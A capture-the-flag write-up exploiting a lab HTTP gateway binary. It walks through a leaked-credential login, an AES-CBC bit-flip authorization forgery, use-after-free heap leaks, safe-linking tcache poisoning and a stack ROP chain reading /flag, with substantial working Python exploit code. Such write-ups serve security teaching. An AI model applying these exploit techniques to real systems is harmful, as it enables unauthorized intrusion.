Summary
A stripped x86-64 PIE HTTP gateway (Full RELRO, NX, stack canary, glibc 2.36). No stack overflow is available; the solve assembles primitives:
- unauthenticated config-backup leaks admin creds,
- an AES-CBC bit flip forges the field-service authorization,
- a work-order use-after-free (
revision3-byte write +receipt8-byte read) yields libc/heap leaks and a safe-linking tcache poison, - a snapshot-overlap arbitrary read locates the stack,
- a second poison overwrites the handler’s saved return address with an ORW ROP chain that
open("/flag")/read/write(1, …).
The accept loop does dup2(client_fd, 1), so write(1, …) returns the flag directly in the
HTTP response.
1. Pre-auth creds → CBC bit-flip authorization
GET /cgi-bin/config-backup.bin dumps /app/device.cfg without a session —
operator / PlantOps-4hM7sQ29. After login, GET /api/service/dispatch returns a 96-byte
AES-CBC authorization envelope. The role char sits at plaintext offset 0x1b (block 1), so
flipping ciphertext byte envelope[27] ^= 1 yields control_authorized:true, garbling only
the unchecked block 0 (whose plaintext nothing checks):
def login():
global SID
head, _, _ = req("POST", "/api/login",
f"username=operator&password=PlantOps-4hM7sQ29",
ctype="application/x-www-form-urlencoded")
SID = re.search(rb"SID=([0-9a-f]+)", head).group(1).decode()
def forge():
_, bd, _ = req("GET", "/api/service/dispatch", sid=SID)
env = bytearray.fromhex(re.search(rb'"review_envelope":"([0-9a-f]+)"', bd).group(1).decode())
env[27] ^= 1 # flip the role bit in block 1
_, bd, _ = req("POST", "/api/service/dispatch", env.hex(), sid=SID, ctype="text/plain")
return b'control_authorized":true' in bd
A rejected request must not allocate, or the heap grooming below drifts, so every control request is wrapped in a helper that silently re-logs-in and re-forges on session/control loss and only then retries.
2. UAF leaks + snapshot-overlap arbitrary read
cancel frees a work-order note but leaves the slot “present” (dangling pointer). receipt
reads the freed note’s first 8 bytes; revision (length must be 3) writes 3 bytes into it.
These four verbs are the whole toolkit:
def create(data): # returns job id; the note holds `data`
_, bd, _ = sreq("POST", "/api/service/jobs", data, ctype="application/octet-stream")
return int(re.search(rb'"id":(\d+)', bd).group(1))
def cancel(jid): sreq("POST", f"/api/service/jobs/{jid}/cancel") # free, slot stays present
def receipt(jid): # read first 8 bytes of the (freed) note
_, bd, _ = sreq("GET", f"/api/service/jobs/{jid}/receipt")
return int(re.search(rb'"record_tag":"([0-9a-f]+)"', bd).group(1), 16)
def revision(jid, code): sreq("POST", f"/api/service/jobs/{jid}/revision", code, # 3-byte write
ctype="application/octet-stream")
- Free a big note → unsorted bin →
receipt=main_arena+0x60→libc_base = leak - 0x1d3cc0. - Free small
0xa0notes → tcache →receipt= safe-linking fd =chunk >> 12→ heap base. - Snapshot GET computes
trace_tag = *(*(obj+0x10)). A 3-byte safe-linking-aware tcache poison overlaps an open job note onto a snapshot object; the note body setsobj+0x10 = target, so snapshot GET returns*(target)— an arbitrary 8-byte read.*environgives a stack pointer.
Safe-linking only protects tcache pointers while the attacker lacks the heap address; the related leak restores the ability to poison.
3. Stack overwrite → ORW ROP
The environment holds no flag (PATH/HOSTNAME/HOME only), so the secret is the file
/flag and code execution is required. The saved-RIP slot is a constant offset from the
leaked stack pointer: dst = (*environ) - 0x3908. A full 8-byte stack write is built by
aliasing a 0xa0 chunk over the 0x130 tcache head node, so a 0x130 allocation lands on
dst — and its note body is the ROP chain. The three-byte revision write is enough to
retarget a tcache head because safe-linking only mangles the low bytes, and the heap base is
known:
# all gadgets/offsets verified against the handout libc 2.36
OFF_UNSORTED = 0x1d3cc0; OFF_ENVIRON = 0x1db320
POPRDI = 0x277e5; RET = 0x277e6; POPRSI = 0x28f99; POPRDX = 0xfdf0d
XCHG = 0x141dcc # xchg edi,eax ; ret
OPEN, READ, WRITE = 0xf7fc0, 0xf82a0, 0xf8340
low3 = lambda v: bytes((v >> (8*k)) & 0xff for k in range(3))
def poison_code(target, headchunk): # 3 bytes fed to revision()
return bytes(a ^ b for a, b in zip(low3(target), low3(headchunk >> 12)))
The ORW chain built into the landed note body:
chain = p64(G(POPRDI)) + p64(0) + p64(G(POPRSI)) + p64(0) + p64(G(POPRDX)) + p64(0) + p64(G(OPEN))
chain += p64(G(XCHG)) + p64(G(POPRSI)) + p64(buf) + p64(G(POPRDX)) + p64(READLEN) + p64(G(READ))
chain += p64(G(POPRDI)) + p64(1) + p64(G(POPRSI)) + p64(buf) + p64(G(POPRDX)) + p64(READLEN) + p64(G(WRITE))
When the request handler returns, the chain runs open("/flag") → read → write(1, buf) and,
because the accept loop dup2s the client socket onto fd 1, the flag comes straight back in
the HTTP response.
Full exploit: solve.py — run with
THOST=<host> TPORT=<port> FLAG_PATH=/flag python3 -u solve.py.
Flag
flag{...} (redacted)
Lessons
- Build the exploit as a chain of primitives: disclosure → auth → UAF leak → arbitrary read → arbitrary write → code reuse.
- A related heap leak defeats safe-linking.
- Verify each derived address with an independent read before committing to a stack overwrite.
- With NX enabled, an ORW ROP chain is a practical way to exfiltrate a local flag file.